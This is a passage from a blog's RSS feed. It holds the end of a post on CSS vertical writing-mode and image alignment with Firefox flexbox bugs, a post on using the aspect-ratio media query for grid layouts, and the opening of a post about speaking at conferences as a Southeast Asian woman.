&lt;img srcset=&quot;/images/posts/vertical-typesetting/troublemaker-480.jpg 480w, /images/posts/vertical-typesetting/troublemaker-640.jpg 640w, /images/posts/vertical-typesetting/troublemaker-960.jpg 960w, /images/posts/vertical-typesetting/troublemaker-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/troublemaker-640.jpg&quot; alt=&quot;Seems to be buggy on Edge&quot; /&gt;
&lt;h2&gt;Handling image alignment&lt;/h2&gt;
&lt;p&gt;Okay, moving on. When in vertical writing mode, I wanted the figures with 2 images to display stacked and while in horizontal mode, be side-by-side when space permits. Ideally, the figures (image and captions) would be centre-aligned in their respective writing modes.&lt;/p&gt;
&lt;h3&gt;Old school properties&lt;/h3&gt;
&lt;p&gt;Now that we&apos;re operating on a clean slate, let&apos;s just try the most basic of centring techniques: &lt;code&gt;text-align&lt;/code&gt;. Images and text are, by default, inline elements. Apply &lt;code&gt;text-align: center&lt;/code&gt; to the figure element, and, oh my god, it worked &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;incredulous face&quot;&gt;😱&lt;/span&gt;!&lt;/p&gt;
&lt;p&gt;Images on both horizontal and vertical writing mode have been successfully centred with no issues. I&apos;m now very concerned about my state of mind a year ago when I was building this. Clearly flexbox was unnecessary for my intents and purposes. I reached for the new shiny first and it bit me in the ass.&lt;/p&gt;
&lt;p&gt;I am shook. I need a drink &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;tumbler glass&quot;&gt;🥃&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;On horizontal writing mode, nothing much needed to be added. Just a simple &lt;code&gt;margin-bottom: 1em&lt;/code&gt; for some breathing room between figures. I did need to rotate the portrait orientation images to landscape for space reasons, and did that with a rotate transform.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.vertical {
  figure {
    margin-bottom: 1em;
  }

  figcaption {
    max-width: 30em;
    margin: 0 auto;
    display: inline-block;
    text-align: justify;
  }

  .img-rotate {
    transform: rotate(-90deg);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thing is, when you rotate an element, the browser still recognises it&apos;s original width and height values (I think), so for my demo, when the viewport gets real narrow, it triggers a horizontal overflow. Maybe there&apos;s a fix for that, or I&apos;m doing things wrongly. Advice welcome.&lt;/p&gt;
&lt;p&gt;This is specifically the use case I will be writing up for the RICG. The idea being, if there was some sort of media query for writing-mode, I could define a portrait image and a landscape image using the &lt;code&gt;srcset&lt;/code&gt; attribute then serve the appropriate image accordingly.&lt;/p&gt;
&lt;p&gt;For vertical writing mode, we generally want the text to be justified, or at least aligned top for those semi-orphaned characters on short lines. And for breathing room, the margin is applied to the left instead of the bottom.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.vertical {
  figure {
    margin-left: 1em;
  }

  figcaption {
    max-height: 30em;
    margin: auto 0.5em;
    display: inline-block;
    text-align: justify;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can pretty much call it a day now. It&apos;s done. This is the target end result already. I want to add that this works exactly the same for both the JavaScript implementation and the checkbox hack implementation, except for the Edge bug I mentioned earlier.&lt;/p&gt;
&lt;h3&gt;Using flexbox for centring&lt;/h3&gt;
&lt;p&gt;I suspect I chose to use flexbox for centring, though I honestly can&apos;t remember what exactly why I thought it was good idea. Clearly I didn&apos;t need flexbox for any of this. Should have done a brain dump then, huh?&lt;/p&gt;
&lt;p&gt;But taking a look at my original code, I realised that I had applied a &lt;code&gt;display: flex&lt;/code&gt; to the image wrapper &lt;code&gt;div&lt;/code&gt; for those images that were supposed to stack. This made the images themselves flex children, and somehow messed up the rendering in Firefox while using a vertical writing mode &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;weary face&quot;&gt;😩&lt;/span&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/ffbug-480.jpg 480w, /images/posts/vertical-typesetting/ffbug-640.jpg 640w, /images/posts/vertical-typesetting/ffbug-960.jpg 960w, /images/posts/vertical-typesetting/ffbug-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/ffbug-640.jpg&quot; alt=&quot;Flexbox issue with vertical writing-mode on Firefox&quot; /&gt;
&lt;p&gt;When using this approach, things look fine and dandy for the versions of Chrome, Edge and Safari I tested (refer to list above) whereby the images were centre-aligned on both vertical and horizontal, and that is nice. But they&apos;re not in Firefox, like literally, the images aren&apos;t visible on my page when vertical writing mode is toggled. It&apos;s fine in horizontal though.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/ffbug2-480.jpg 480w, /images/posts/vertical-typesetting/ffbug2-640.jpg 640w, /images/posts/vertical-typesetting/ffbug2-960.jpg 960w, /images/posts/vertical-typesetting/ffbug2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/ffbug2-640.jpg&quot; alt=&quot;Flexbox issue with vertical writing-mode on Firefox&quot; /&gt;
&lt;p&gt;I had wrapped the images that were supposed to do the stacking thing in a &lt;code&gt;div&lt;/code&gt; that had &lt;code&gt;display: flex&lt;/code&gt; applied, and this somehow messed up the rendering in Firefox while in vertical writing mode. I suspect this behaviour is related to the following bugs: &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1189131&quot;&gt;Bug 1189131&lt;/a&gt;, &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1223180&quot;&gt;Bug 1223180&lt;/a&gt;, &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1332555&quot;&gt;Bug 1332555&lt;/a&gt;, &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1318825&quot;&gt;Bug 1318825&lt;/a&gt; and &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1382867&quot;&gt;Bug 1382867&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the meantime, I&apos;m kinda intrigued by this effect that images, which are flex children, have in vertical writing mode on Firefox. It&apos;s like the browser just went nope &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;woman zombie&quot;&gt;🧟‍♀️&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing NO&quot;&gt;🙅&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pile of poo&quot;&gt;💩&lt;/span&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/whoa-480.jpg 480w, /images/posts/vertical-typesetting/whoa-640.jpg 640w, /images/posts/vertical-typesetting/whoa-960.jpg 960w, /images/posts/vertical-typesetting/whoa-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/whoa-640.jpg&quot; alt=&quot;Flexbox issue with vertical writing-mode on Firefox&quot; /&gt;
&lt;p&gt;Vertical writing mode aside, I had a conversation with &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; some time back about flexbox implementation across different browsers and she found that shrinking images are handled differently across all the browsers. &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/1322&quot;&gt;The issue&lt;/a&gt; is still being discussed among the CSS working group so stay tuned for updates.&lt;/p&gt;
&lt;p&gt;This shrinking issue is related to the concept of intrinsic sizing, specifically the intrinsic aspect-ratio of images. The CSS working group had &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/1112&quot;&gt;quite a long discussion&lt;/a&gt; about this because it&apos;s not a trivial issue.&lt;/p&gt;
&lt;p&gt;One interesting observation was that on Firefox, the flex container width capped out at the width of the viewport, but not so for other browsers. When the total width of the images within the container exceeded the viewport width, on Firefox, the images would shrink to fit, but on all other browsers, they just overflowed and you got a horizontal scroll &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;thinking face&quot;&gt;🤔&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;To circumvent this issue for now, I made sure none of my images were flex children themselves. All the images, whether or not they were doubles or singles, were wrapped in an additional &lt;code&gt;div&lt;/code&gt;. The &lt;code&gt;display: flex&lt;/code&gt; property was applied onto the &lt;code&gt;figure&lt;/code&gt; element, which made the &lt;code&gt;figcaption&lt;/code&gt; and image wrapper &lt;code&gt;div&lt;/code&gt; the flex children instead of the images themselves.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.vertical {
  writing-mode: vertical-rl;

  main {
    max-height: 35em;
    margin-top: auto;
    margin-bottom: auto;
  }

  figure {
    flex-direction: column;
    align-items: center;
    margin-left: 1em;
  }

  figcaption {
    max-height: 30em;
    margin-left: 0.5em;
  }

  .img-single {
    max-height: 20em;
  }
}

.horizontal {
  writing-mode: horizontal-tb;

  main {
    max-width: 40em;
    margin-left: auto;
    margin-right: auto;
  }

  figure {
    flex-wrap: wrap;
    justify-content: center;
    margin-bottom: 1em;
  }

  figcaption {
    max-width: 30em;
    margin-bottom: 0.5em;
  }

  .img-wrapper img {
    vertical-align: middle;
  }

  .img-single {
    max-width: 20em;
  }

  .img-rotate {
    transform: rotate(-90deg);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The checkbox hack implementation works exactly the same way. My takeaway from this exercise is that browsers need to work very hard to calculate the dimensions of elements, especially those with intrinsic aspect-ratios.&lt;/p&gt;
&lt;h3&gt;How about Grid?&lt;/h3&gt;
&lt;p&gt;We&apos;ve already come so far from what was necessary for this layout, so I considered attempting to use Grid for the image alignment. We could try making each &lt;code&gt;figure&lt;/code&gt; a grid container and maybe make use of fun properties like &lt;code&gt;grid-area&lt;/code&gt; and &lt;code&gt;fit-content&lt;/code&gt; to make things line up.&lt;/p&gt;
&lt;p&gt;Unfortunately, 10 minutes into the attempt, I broke my brain. The grid inspector tool in Firefox didn&apos;t seem to match the elements on my page, but maybe it&apos;s because there are too many things on there.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/gridtool-480.jpg 480w, /images/posts/vertical-typesetting/gridtool-640.jpg 640w, /images/posts/vertical-typesetting/gridtool-960.jpg 960w, /images/posts/vertical-typesetting/gridtool-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/gridtool-640.jpg&quot; alt=&quot;Grid inspector tool issue in vertical writing-mode&quot; /&gt;
&lt;p&gt;I need to create a simplified test case for using grid with vertical writing mode and that will be a much simpler demo and separate write-up (probably with corresponding bug reports).&lt;/p&gt;
&lt;h2&gt;Winning solution?&lt;/h2&gt;
&lt;p&gt;The currently active implementation of my &lt;a href=&quot;https://huijing.github.io/zh-type/&quot;&gt;stand-alone demo&lt;/a&gt; is the checkbox hack without flexbox solution. I&apos;m retaining the checkbox hack version to track the Edge bug. But the flexbox solution, if you don&apos;t mind the extra wrappers, works fine as well. The markup for the JavaScript implementation also looks nicer, because you can wrap the toggle in a &lt;code&gt;div&lt;/code&gt; and style that.&lt;/p&gt;
&lt;p&gt;But at the end of the day, there are so many ways to achieve the same end result. It&apos;s fine to copy code from elsewhere, but the trouble comes when something does go wrong and you can&apos;t figure out why. You don&apos;t have to write everything from scratch, but make sure there&apos;s no “magic” that you can&apos;t decipher.&lt;/p&gt;
&lt;p&gt;Just saying &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://devtidbits.com/2016/06/12/assignment-to-read-only-properties-is-not-allowed-in-strict-mode/&quot;&gt;Assignment to read-only properties is not allowed in strict mode&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/&quot;&gt;Inside a super fast CSS engine: Quantum CSS (aka Stylo)&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-writing-modes-3/&quot;&gt;CSS Writing Modes Level 3&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://drafts.csswg.org/css-flexbox/&quot;&gt;CSS Flexible Box Layout Module Level 1 Editor’s Draft&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/css-sizing-3/&quot;&gt;CSS Intrinsic &amp;amp; Extrinsic Sizing Module Level 3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Issues and bugs list&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1102175&quot;&gt;Firefox Bug 1102175: &amp;lt;body&amp;gt; with writing-mode: vertical-rl doesn’t align children to the right&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1189131&quot;&gt;Firefox Bug 1189131: flex align-items center displaces text when writing-mode is vertical-rl&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1223180&quot;&gt;Firefox Bug 1223180: Flex + vertical writing-mode: flex items / text disappear&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1332555&quot;&gt;Firefox Bug 1332555: [writing-mode] Vertical writing-mode child results in wrong intrinsic size for the parent and thus the child doesn’t fit later when reflowed&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1318825&quot;&gt;Firefox Bug 1318825: [css-flexbox] Vertical-writing-mode flex item in horizontal flex container has wrong width&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1382867&quot;&gt;Firefox Bug 1382867: Layout problem with writing-mode and flexbox&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/1322&quot;&gt;CSSWG Issue #1322: [css-flexbox] Non-interop with shrinking images&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=781972&quot;&gt;Chromium Issue 781972: Images don’t keep aspect ratio when resizing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Practical uses for the aspect-ratio media query</title><link>https://chenhuijing.com/blog/aspect-ratio-media-queries/</link><guid isPermaLink="true">https://chenhuijing.com/blog/aspect-ratio-media-queries/</guid><description>Back in 2016, during my first ever conference talk (albeit a sort of lightning talk) at CSSConf.Asia 2016, I said that “I just like to CSS.” I wasn&apos;t lying,…</description><pubDate>Thu, 09 Nov 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Back in 2016, during my first ever conference talk (albeit a sort of lightning talk) at &lt;a href=&quot;https://2016.cssconf.asia/&quot;&gt;CSSConf.Asia 2016&lt;/a&gt;, I said that “I just like to CSS.” I wasn&apos;t lying, CSS is really my hobby. And for most of 2017, I&apos;ve been ‘collecting’ interesting layouts I come across and trying to build them on the web.&lt;/p&gt;
&lt;p&gt;I&apos;ve developed an opinion (methodology? system? concept? English is so hard...) on building layouts on the web over the years. Unlike most of my web developer heroes, by the time I was elbow-deep in web development, responsive web design was the norm. In fact, I&apos;ve only ever built one fixed width layout in my career. And because of this, I don&apos;t think static.&lt;/p&gt;
&lt;p&gt;When I see an interesting layout (usually on print), my mind immediately starts picturing how it would morph if the size of the canvas changed. It&apos;s a pretty fun exercise, and then I&apos;ll sit down and try to build it, which is still fun, but with a touch of pain and frustration (as is normal for our line of work &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;)&lt;/p&gt;
&lt;h2&gt;Web designs SHOULD morph&lt;/h2&gt;
&lt;p&gt;Designing layouts on the web requires interpolative thinking, on multiple levels. Web layouts can and most probably should morph as the viewport size changes. Our job is to make sure the layout is most effective in the space it has to perform in.&lt;/p&gt;
&lt;p&gt;While preparing the talks for my &lt;a href=&quot;/blog/talking-about-talking-css/&quot;&gt;Southeast Asia CSS roadtrip&lt;/a&gt;, I built a number of layout demos. One of my favourites is based off the following design from &lt;a href=&quot;http://kiyoshi.de/the-yellow-issue&quot;&gt;The Yellow Issue&lt;/a&gt; by &lt;a href=&quot;http://kiyoshi.de/&quot;&gt;Kiyoshi Stelzner&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/aspect-ratio/yellow-640.jpg&quot;
  srcset=&quot;/images/posts/aspect-ratio/yellow-480.jpg 480w, /images/posts/aspect-ratio/yellow-640.jpg 640w, /images/posts/aspect-ratio/yellow-960.jpg 960w, /images/posts/aspect-ratio/yellow-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;The Yellow Issue&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;This layout works nicely in a landscape orientation on the web, but as the viewport narrowed, things started to break down. But that&apos;s what media queries were for, right? But instead of regular old width-based media queries, I tried the aspect-ratio media query instead. Because I was sizing my grid with flexible units, relative proportions were important.&lt;/p&gt;
&lt;p&gt;This particular layout involving overlap, vertical white-space and transforms would only work well on landscape mode, so I arbitrarily set the baseline aspect ratio to 1/1, and it turned out pretty well. Note that you must use a ratio (number/number) value, otherwise it won&apos;t work.&lt;/p&gt;
&lt;p
  data-height=&quot;441&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;PKOeQV&quot;
  data-default-tab=&quot;result&quot;
  data-user=&quot;huijing&quot;
  data-embed-version=&quot;2&quot;
  data-pen-title=&quot;Grid layout with overlaps&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/PKOeQV/&quot;&gt;Grid layout with overlaps&lt;/a&gt; by Chen
  Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on{&quot; &quot;}
  &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;The demo is more fun in a standalone window, so this is &lt;a href=&quot;https://huijing.github.io/demos/grids-overlap-2/&quot;&gt;the self-hosted version&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Viewport units can be challenging to use because everything is relative to the viewport, not particular containers within the layout, so scaling can be tricky sometimes. It&apos;s a flexible unit, and would work well with the aspect-ratio media query for situations where we want to keep proportions.&lt;/p&gt;
&lt;h2&gt;Deutsche Gitter&lt;/h2&gt;
&lt;p&gt;It might just be a coincidence that the layouts which catch my eye are for German publications, but grid-based design of the Swiss Style did emerge from Germany, the Netherlands and Russia in the 1920s. Josef Müller-Brockmann and Karl Gerstner published mostly in German anyway (I think).&lt;/p&gt;
&lt;p&gt;But Dieter Rams is legit German, and his work at Braun is pretty iconic, IMHO. So when I came across two posters for Braun HiFi, which were designed by Wolfgang Schmittel, I just had to remake them for the web.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Braun HiFi studio Anlagen regie 501 poster&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/aspect-ratio/anlagen-640.jpg&quot;
    srcset=&quot;/images/posts/aspect-ratio/anlagen-480.jpg 480w, /images/posts/aspect-ratio/anlagen-640.jpg 640w, /images/posts/aspect-ratio/anlagen-960.jpg 960w, /images/posts/aspect-ratio/anlagen-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Braun HiFi studio Anlagen&quot;
  /&gt;
&lt;/figure&gt;
&lt;p
  data-height=&quot;464&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;xPEjWb&quot;
  data-default-tab=&quot;css,result&quot;
  data-user=&quot;huijing&quot;
  data-embed-version=&quot;2&quot;
  data-pen-title=&quot;Braun HiFi studio Anlagen&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/xPEjWb/&quot;&gt;Braun HiFi studio Anlagen&lt;/a&gt; by Chen
  Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on{&quot; &quot;}
  &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Braun HiFi Steuergerät audio 300 poster&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/aspect-ratio/steuergerat-640.jpg&quot;
    srcset=&quot;/images/posts/aspect-ratio/steuergerat-480.jpg 480w, /images/posts/aspect-ratio/steuergerat-640.jpg 640w, /images/posts/aspect-ratio/steuergerat-960.jpg 960w, /images/posts/aspect-ratio/steuergerat-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Braun HiFi Steuergerät audio 300&quot;
  /&gt;
&lt;/figure&gt;
&lt;p
  data-height=&quot;451&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;zPoGXw&quot;
  data-default-tab=&quot;css,result&quot;
  data-user=&quot;huijing&quot;
  data-embed-version=&quot;2&quot;
  data-pen-title=&quot;Braun HiFi Steuergerät audio 300&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/zPoGXw/&quot;&gt;Braun HiFi Steuergerät audio 300&lt;/a&gt;{&quot; &quot;}
  by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on{&quot; &quot;}
  &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;I highly suggest viewing them on Full Page view on CodePen. Admittedly, there are a few outstanding kinks I need to work out but the premise is that when the design hits a particular aspect-ratio, the grid rearranges itself through modifications on the &lt;code&gt;grid-template-areas&lt;/code&gt; property.&lt;/p&gt;
&lt;p&gt;The grid items themselves are assigned their respective &lt;code&gt;grid-area&lt;/code&gt; which can apply regardless of layout being applied. I find this approach really convenient and takes much less code than manually placing the items via their &lt;code&gt;grid-row&lt;/code&gt; and &lt;code&gt;grid-column&lt;/code&gt; properties per media query.&lt;/p&gt;
&lt;h2&gt;OMG, &lt;code&gt;object-fit&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Can I just rave a bit about how well this “supplementary” CSS property works with CSS grid layouts? It&apos;s background images but for content images. Support is really quite decent. Look, we&apos;ve all established that Internet Explorer will never get any new features, so for the IE family, just fallback the entire layout, it&apos;s a trade-off I think is acceptable.&lt;/p&gt;
&lt;p&gt;But looky here, Opera Mini supports &lt;code&gt;object-fit&lt;/code&gt;!&lt;/p&gt;
&lt;p class=&quot;ciu_embed&quot; data-feature=&quot;object-fit&quot; data-periods=&quot;future_1,current,past_1,past_2&quot;&gt;
  &lt;a href=&quot;http://caniuse.com/#feat=object-fit&quot;&gt;Can I Use object-fit?&lt;/a&gt; Data on support for the
  object-fit feature across the major browsers from caniuse.com.
&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;object-fit&lt;/code&gt;, I could make the images fill up the entire grid area they were allocated to so the layout was on point and lined up no matter how I morphed the viewport. No awkward white spaces where the image didn&apos;t quite fill up properly.&lt;/p&gt;
&lt;h2&gt;CSS is a team sport&lt;/h2&gt;
&lt;p&gt;This is my latest quotable CSS quote. I&apos;ve come to the conclusion that CSS is ultimately a holistic technology, in that, even though you can use properties in isolation, the full power of CSS shines through when used in combination.&lt;/p&gt;
&lt;img src=&quot;/images/posts/aspect-ratio/team-layout-640.png&quot; srcset=&quot;/images/posts/aspect-ratio/team-layout-480.png 480w, /images/posts/aspect-ratio/team-layout-640.png 640w, /images/posts/aspect-ratio/team-layout-960.png 960w, /images/posts/aspect-ratio/team-layout-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; alt=&quot;Team Layout&quot; /&gt;
&lt;p&gt;Sure, doing layout on the web usually starts off with using the &lt;code&gt;display&lt;/code&gt; property. But we definitely use a whole suite of properties that number more than players on a basketball team. I call the above, Team Layout, and it isn&apos;t even an exhaustive list of layout-related properties.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Anyway, this was a little CSS-ing to distract myself from more pressing responsibilities and life in general. Should this become a series? Like, welcome to another segment of “Let&apos;s web-ify that”? Who knows...&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;upside-down face&quot;&gt;🙃&lt;/span&gt;, ping me with your thoughts.&lt;/p&gt;
&lt;p&gt;Or not.&lt;/p&gt;
&lt;p&gt;Whatever.&lt;/p&gt;
&lt;p&gt;You do you, my lovelies &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;cocktail glass&quot;&gt;🍸&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Musings on speaking at conferences</title><link>https://chenhuijing.com/blog/musings-on-speaking-at-conferences/</link><guid isPermaLink="true">https://chenhuijing.com/blog/musings-on-speaking-at-conferences/</guid><description>Disclaimer, this post may contain views that may or may not piss some people off. But they are my views, based on my personal experiences, and this is my blog…</description><pubDate>Sun, 15 Oct 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Disclaimer, this post may contain views that may or may not piss some people off. But they are my views, based on my personal experiences, and this is my blog so I&apos;ll write what I feel like. Also, post is long.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I have a friend, a close friend, called &lt;a href=&quot;https://aysha.me/&quot;&gt;Aysha&lt;/a&gt;. She is an awesome human being, and we have pretty similar personalities and viewpoints (which is probably why we get along so well). She&apos;s also a fellow Malaysian, who happens to be a front-end developer as well as a speaker at web conferences, checking the same boxes as myself.&lt;/p&gt;
&lt;p&gt;We recently got together after our respective speaking stints, mine being &lt;a href=&quot;/blog/talking-about-talking-css/&quot;&gt;the road-trip around Southeast Asia&lt;/a&gt;, and hers being at &lt;a href=&quot;https://mobileera.rocks/&quot;&gt;Mobile Era&lt;/a&gt; in Oslo, Norway. And one of the things we talked about over dinner was how we felt about speaking at conferences, as women from Southeast Asia.&lt;/p&gt;
&lt;h2&gt;A brief Geography lesson&lt;/h2&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/speaking/worldmap-640.png&quot;
  srcset=&quot;/images/posts/speaking/worldmap-480.png 480w, /images/posts/speaking/worldmap-640.png 640w, /images/posts/speaking/worldmap-960.png 960w, /images/posts/speaking/worldmap-1280.png 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Southeast Asia on the world map&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;Although I&apos;d like to believe that most people know where Southeast Asia is, as my coach always tells our team, hope for the best but prepare for the worst. So that&apos;s us marked on the map above, relative to wherever else you may be on this planet.&lt;/p&gt;
&lt;p&gt;Southeast Asia is made up of 11 sovereign nations, namely Brunei, Cambodia, East Timor, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand and Vietnam. And whether we like it or not, English seems to be the de facto global language and it is taught in schools across Southeast Asia, either with the entire curriculum being in English, or as a standalone language module.&lt;/p&gt;
&lt;p&gt;So yes, many of us can speak English, some of us even speak it rather well. And no, none of us are part of China or Japan. Case in point, this interview question for Michelle Yeoh (who means the world to me, might I add) that starts at 3.10:&lt;/p&gt;
&lt;iframe
  width=&quot;560&quot;
  height=&quot;315&quot;
  src=&quot;https://www.youtube.com/embed/0b6HxVA_q2U?rel=0&amp;amp;showinfo=0&amp;amp;start=190&quot;
  frameborder=&quot;0&quot;
  allowfullscreen
&gt;&lt;/iframe&gt;
&lt;p&gt;The aftermath of colonialism from the 16th century to the mid-20th century is that we now live in a world that plays by Western rules. You could even say that it is a white man&apos;s world. Southeast Asia was one of the regions that was heavily colonised by European powers. And this has long-reaching social consequences, even today, after we have gained sovereignty. Because you cannot just declare independence and expect the culture and mindset of people who were occupied for generations to change overnight.&lt;/p&gt;
&lt;p&gt;Like I mentioned before &lt;a href=&quot;/blog/css-writing-mode-personal-identity&quot;&gt;in a previous post&lt;/a&gt;, we all perceive the world and our place in it differently. And these are my views of the world and my place in it, formed as a result of my personal experiences. You will have your own views and opinions, which may or may not disagree with mine.&lt;/p&gt;
&lt;h2&gt;A logistical issue&lt;/h2&gt;
